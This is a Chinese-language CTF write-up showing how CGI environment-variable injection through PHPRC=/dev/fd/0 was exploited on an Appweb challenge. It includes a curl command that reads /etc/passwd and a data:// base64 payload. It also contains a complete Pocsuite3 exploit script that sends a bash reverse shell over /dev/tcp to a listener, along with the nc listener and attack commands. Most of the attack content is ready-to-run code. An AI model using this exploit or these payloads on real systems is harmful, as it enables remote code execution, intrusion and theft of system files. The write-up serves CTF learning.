CGI 环境变量注入

内部的一道 CTF 题目,使用 docker 安装后,映射 8080 端口,访问 http://127.0.0.1:8080

Appweb 的界面

WechatIMG276

看一下源代码没发现什么东西,搜了下 AppWeb 的漏洞,找到了 CVE-2018-8715 权限绕过漏洞,但上面页面已经是绕过后的界面,因此和这个漏洞就没什么关系了。Appweb 是 Embedthis 公司的产品,很容易想到另外一个产品 GoAhead。GoAhead 曾经出现过一次环境变量注入漏洞,GoAhead 在处理 CGI 请求时,将用户传入的的参数作为环境变量了。

vulhub 上也有相关的环境 https://github.com/vulhub/vulhub/blob/master/goahead/CVE-2017-17562/README.zh-cn.md

尝试访问一下/cgi-bin/index.php,也可以目录扫描一下。就可以看到Hello CTFer!

WechatIMG283

参考 GoAhead 的变量注入,尝试使用 PHPRC 注入 php.ini 的变量。

一般控制 php.ini 会用到下面两个设置:

  • auto_prepend_file:这个指令指定一个 PHP 文件,该文件会在 PHP 脚本执行之前自动包含(即预先加载)。它对于初始化脚本、设置环境变量、定义全局函数或类等场景非常有用。

  • auto_append_file:与 auto_prepend_file 相反,这个指令指定的 PHP 文件会在 PHP 脚本执行之后自动包含(即后加载)。它通常用于执行脚本后的清理工作、关闭资源、添加通用的脚本尾部内容等。

为了方便查看,使用 auto_append_file 好一点。

这时候可以指定PHPRC=/dev/fd/0,因为/proc/self/fd/0是标准输入,而在 CGI 程序中,POST 数据流即为标准输入流。我们编译一个动态链接库,将其放在 POST Body 中,发送给http://target/cgi-bin/index?PHPRC=/dev/fd/0,CGI 就会加载我们发送的环境变量,加载我们想读取的文件。(使用/proc/self/fd/0也是可以的,同样是标准输入)

使用 curl 验证一下,读取到了 /etc/passwd。

1
curl -X POST 'http://127.0.0.1:8080/cgi-bin/index.php?PHPRC=/dev/fd/0' -F data='auto_append_file=/etc/passwd' -v

WechatIMG278

那之后就是考虑如何命令执行。

可以写一个 php 文件,然后利用data://协议去读取,并预先加载。

写一个<?phpinfo();?>,并使用 base64 进行编码。作为 POST 数据发送。

1
auto_append_file="data://text/plain;base64,PD9waHBpbmZvKCk7Pz4="

看到回显了 phpinfo 的内容。

WechatIMG279

也就是我们可以写一个页面,执行反连命令,使用data://协议读取,通过预先加载反弹 shell。

于是就可以使用 system() 函数执行反连,并用 base64 编码。

WechatIMG280

由于需要多次编码,所以使用 Pocsuite3 写个脚本一键反连。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!/usr/bin/env python3
# encoding=utf-8
import base64
from urllib.parse import urljoin
from pocsuite3.api import (
POCBase, register_poc, requests, Output, get_listener_ip, get_listener_port,
)


class Poc(POCBase):
author = 'HuTa0'
vulID = ''
name = 'CGI Environment Variable Injections'
vulDate = ''
updateDate = ''
appPowerLink = ''
appName = ''
url = ' '
appVersion = ''
vulType = ''
desc = ''
samples = []
install_requires = ['']
dork = {'': ''}

def exp_payload(self):
command = f"bash -i >& /dev/tcp/{get_listener_ip()}/{get_listener_port()} 0>&1"
command = base64.b64encode(command.encode("utf-8")).decode("utf-8")
command = f"bash -c 'echo {command} | base64 -d | bash -i'"
command = f'<?system("{command}");?>'
command = base64.b64encode(command.encode("utf-8")).decode("utf-8")
data = f"allow_url_include=1\nauto_prepend_file=\"data://text/plain;base64,{command}\""
return data

def _verify(self):
result = {}
path = '/cgi-bin/index.php?PHPRC=/dev/fd/0'
url = urljoin(self.url, path)
payload = 'auto_append_file=/etc/passwd'
res = requests.post(url, data=payload)
if 'root:' in res.text and 'nologin' in res.text and res.status_code == 200:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = url
return self.parse_output(result)

def _attack(self):
path = '/cgi-bin/index.php?PHPRC=/dev/fd/0'
url = urljoin(self.url, path)
payload = self.exp_payload()
try:
requests.post(url, data=payload, timeout=15)
except:
print("已发送")

def parse_output(self, result=None):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output


register_poc(Poc)

漏洞验证

1
pocsuite -u http://127.0.0.1:8080 -r appweb-ctf-exp.py

image-20231118232006812

VPS 开启监听

1
nc -lvvp 端口号

反弹 shell 到目标主机

1
pocsuite -u http://目标地址 -r appweb-ctf-exp.py --attack --lhost 反连ip  --lport 反连端口

WechatIMG282